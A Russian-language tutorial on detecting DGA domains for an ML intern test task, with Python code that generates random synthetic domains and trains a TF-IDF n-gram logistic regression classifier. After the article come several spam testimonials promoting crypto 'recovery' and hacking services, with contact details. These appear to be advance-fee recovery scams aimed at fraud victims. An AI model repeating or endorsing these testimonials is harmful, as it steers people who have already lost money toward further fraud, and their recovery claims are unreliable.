Обнаружение DGA доменов или тестовое задание на позицию intern ML-engineer

В этой статье мы рассмотрим простую задачу, которая используется одной компанией в качестве тестового задания для стажеров на позицию ML-engineer. Она включает обнаружение DGA-доменов — задача, решаемая с помощью базовых инструментов машинного обучения. Мы покажем, как с ней справиться, применяя самые простые методы. Знание сложных алгоритмов важно, но куда важнее — понимать базовые концепции и уметь применять их на практике, чтобы успешно демонстрировать свои навыки.

DGA (Domain Generation Algorithm) — это алгоритм, который автоматически генерирует доменные имена, часто используемые злоумышленниками для обхода блокировок и связи с командными серверами.

В техничесокм задании присутствовали тестовые данные, для которых нужно было сформировать предсказания, и валидационные данные, на которых нужно было продемонстрировать метрики в формате:

True Positive (TP): False Positive (FP): False Negative (FN): True Negative (TN): Accuracy: Precision: Recall: F1 Score:

Иногда компании не предоставляют тренировочные данные и хотят оценить, насколько вы способны самостоятельно находить решения. Это включает:

Понимание проблемы: Четкое формулирование задачи.
Методология: Разработка плана действий и выбор методов.
Критическое мышление: Анализ данных и выдвижение гипотез.
Практические навыки: Применение базовых концепций машинного обучения.

Важно продемонстрировать инициативу и способность работать с ограниченной информацией. В нашем случае, домены существующих компаний можно найти на kaggle, а несуществующие домены нам необходимо будет сгенерировать самим.

Качественные и разнообразные данные позволяют алгоритмам выявлять закономерности, делать предсказания и принимать обоснованные решения. Поэтому без хороших данных невозможно достичь успешных результатов в машинном обучении. Важно создать качественные данные для обучения модели, чтобы обеспечить её эффективность и точность. Нам необходимо сосредоточиться на создании таких данных:

Напишем функции для генерации случайных строк и доменных имён. Функция generate_random_string генерирует строку заданной длины с буквами и, опционально, цифрами. Функция generate_domain_names создает список доменных имён с различными паттернами.

def generate_random_string(length, use_digits=True):
  """
  Генерирует случайную строку заданной длины, включающую буквы и опционально цифры.

  :param length: Длина строки
  :param use_digits: Включать ли цифры в строку
  :return: Случайная строка
  """
  characters = string.ascii_lowercase
  if use_digits:
      characters += string.digits
  return ''.join(random.choice(characters) for _ in range(length)) 

def generate_domain_names(count):
    """
    Генерирует список доменных имён с различными паттернами и TLD.

    :param count: Количество доменных имён для генерации
    :return: Список сгенерированных доменных имён
    """
    tlds = ['.com', '.ru', '.net', '.org', '.de', '.edu', '.gov', '.io', '.shop', '.co', '.nl', '.fr', '.space', '.online', '.top', '.info']

    def generate_domain_name():
        tld = random.choice(tlds)
        patterns = [
            lambda: generate_random_string(random.randint(5, 10), use_digits=False) + '-' + generate_random_string(random.randint(5, 10), use_digits=False),
            lambda: generate_random_string(random.randint(8, 12), use_digits=False),
            lambda: generate_random_string(random.randint(5, 7), use_digits=False) + '-' + generate_random_string(random.randint(2, 4), use_digits=True),
            lambda: generate_random_string(random.randint(4, 6), use_digits=False) + generate_random_string(random.randint(3, 5), use_digits=False),
            lambda: generate_random_string(random.randint(3, 5), use_digits=False) + '-' + generate_random_string(random.randint(3, 5), use_digits=False),
        ]
        domain_pattern = random.choice(patterns)
        return domain_pattern() + tld

    domain_list = [generate_domain_name() for _ in range(count)]
    return domain_list

Код загружает три CSV-файла, обрабатывает данные, удаляя столбец '1' и добавляя 'is_dga' со значением 0. Генерирует 1 миллион DGA-доменных имён, объединяет их с part_df и перемешивает итоговый DataFrame.

try:
  logging.info('Загрузка данных')
  part_df = pd.read_csv('top-1m.csv')
  df_val = pd.read_csv('val_df.csv')
  df_test = pd.read_csv('test_df.csv')
  logging.info('Данные успешно загружены.')
except Exception as e:
  logging.error(f'Ошибка при загрузке данных: {e}')

logging.info('Обработка данных')
part_df = part_df.drop('1', axis=1)
part_df.rename(columns={'google.com': 'domain'}, inplace=True)
part_df['is_dga'] = 0
list_dga = df_val[df_val.is_dga == 1].domain.tolist()
generated_domains = generate_domain_names(1000000)
part_df_dga = pd.DataFrame({
    'domain': generated_domains,
    'is_dga': [1] * len(generated_domains)
})
df = pd.concat([part_df, part_df_dga], ignore_index=True)
df = df.sample(frac=1).reset_index(drop=True)

Исключаем домены из валидационного и тестового наборов, затем балансируем классы, выбирая по 500,000 примеров для каждого из них. Итоговый сбалансированный набор перемешивается и сбрасывает индексы

# Исключение доменов из валидационного и тестового наборов
train_set = set(df.domain.tolist())
val_set = set(df_val.domain.tolist())
test_set = set(df_test.domain.tolist())
intersection_val = train_set.intersection(val_set)
intersection_test = train_set.intersection(test_set)
if intersection_val or intersection_test:
  df = df[~df['domain'].isin(intersection_val | intersection_test)]


# Балансировка классов до одинакового числа примеров
logging.info('Балансировка классов')
df_train_0 = df[df['is_dga'] == 0]
df_train_1 = df[df['is_dga'] == 1]
num_samples_per_class = 500000
df_train_0_sampled = df_train_0.sample(n=num_samples_per_class, random_state=42)
df_train_1_sampled = df_train_1.sample(n=num_samples_per_class, random_state=42)
df_balanced = pd.concat([df_train_0_sampled, df_train_1_sampled])
df_train = df_balanced.sample(frac=1, random_state=42).reset_index(drop=True)

Создаем и обучаем модель, используя конвейер, который включает векторизацию с помощью TfidfVectorizer и логистическую регрессию. После обучения модель сохраняется в файл model_pipeline.pkl

logging.info('Создание и обучение модели')

model_pipeline = Pipeline([
    ("vectorizer", TfidfVectorizer(tokenizer=n_grams, token_pattern=None)),
    ("model", LogisticRegression(solver='saga', n_jobs=-1, random_state=12345))
])

model_pipeline.fit(df_train['domain'], df_train['is_dga'])
logging.info('Сохранение модели')
joblib_file = "model_pipeline.pkl"
joblib.dump(model_pipeline, joblib_file)
logging.info(f'Модель сохранена в {joblib_file}')

Вся наша задача сводится к тому, что нам необходимо домены разбить на N-граммы и векторизовать их с помощью TF-IDF. N-грамма — это последовательность из N элементов (слов или символов) в тексте, но в нашей задаче мы применяем их к одному слову, чтобы выделять и анализировать слоги доменов. TF-IDF (Term Frequency-Inverse Document Frequency) — это метод, который помогает оценить важность слова в документе по сравнению с другими документами в коллекции.

Таким образом, комбинируя N-граммы и TF-IDF, мы можем эффективно анализировать домены и выявлять их ключевые характеристики. Рассмотрим на примере существующих доменов: texosmotr-auto.ru и pokerdomru.ru, разобьем их на 4-граммы, не беря во внимание родовой домен (.ru)

Для texosmotr-auto.ru: "texo", "exos", "xosm", "osmo", "smot", "motr", "otr-", "r-au", "-aut", "auto"
Для pokerdomru.ru: "poke", "oker", "kerd", "erdo", "domr", "omru"

Мы рассмотрели 4-граммы, но разве для всех доменов необходимо использовать фиксированные N-граммы? Конечно, нет. Для каждого домена создаются 3-мерные, 4-мерные и 5-мерные граммы, чтобы выявить различные языковые паттерны и особенности структуры. Такой подход позволяет лучше захватывать контекст и увеличивает возможность обнаружения уникальных характеристик, которые могут быть полезны для классификации.

код для созднания 3-мерных, 4-мерных и 5-мерных грамм для домена

def n_grams(domain):
  """
  Генерирует n-граммы для доменного имени.

  :param domain: Доменное имя
  :return: Список n-грамм
  """
  grams_list = []
  # Размеры n-грамм
  n = [3, 4, 5]
  domain = domain.split('.')[0]
  for count_n in n:
      for i in range(len(domain)):
          if len(domain[i: count_n + i]) == count_n:
              grams_list.append(domain[i: count_n + i])
  return grams_list

Все полученные N-граммы необходимо векторизовать, и в этом нам поможет вышеупомянутый метод TF-IDF. Этот подход позволяет оценить важность каждой N-граммы в контексте доменов, преобразуя текстовые данные в числовую форму. Векторизация с помощью TF-IDF учитывает частоту встречаемости N-грамм в каждом домене и их редкость в общем наборе.

Финальным этапом необходимо обучить нашу модель. Вы можете использовать различные алгоритмы, которые улучшают вашу метрику, однако я выбрал классическую логистическую регрессию (LR), потому что она проста в реализации, хорошо интерпретируется и часто дает неплохие результаты, например я получил следующие метрики на валидационном наборе данных:

True Positive (TP): 4605 False Positive (FP): 479 False Negative (FN): 413 True Negative (TN): 4503 Accuracy: 0.9108 Precision: 0.9058 Recall: 0.9177 F1 Score: 0.9117

Таким образом, понимание базовых концепций, таких как N-граммы и TF-IDF, откроет перед вами возможности для решения прикладных задач и позволит уверенно заявить о себе на стажировках. Эти навыки станут крепкой основой для вашего профессионального роста в области машинного обучения и анализа данных.

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns.

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time.
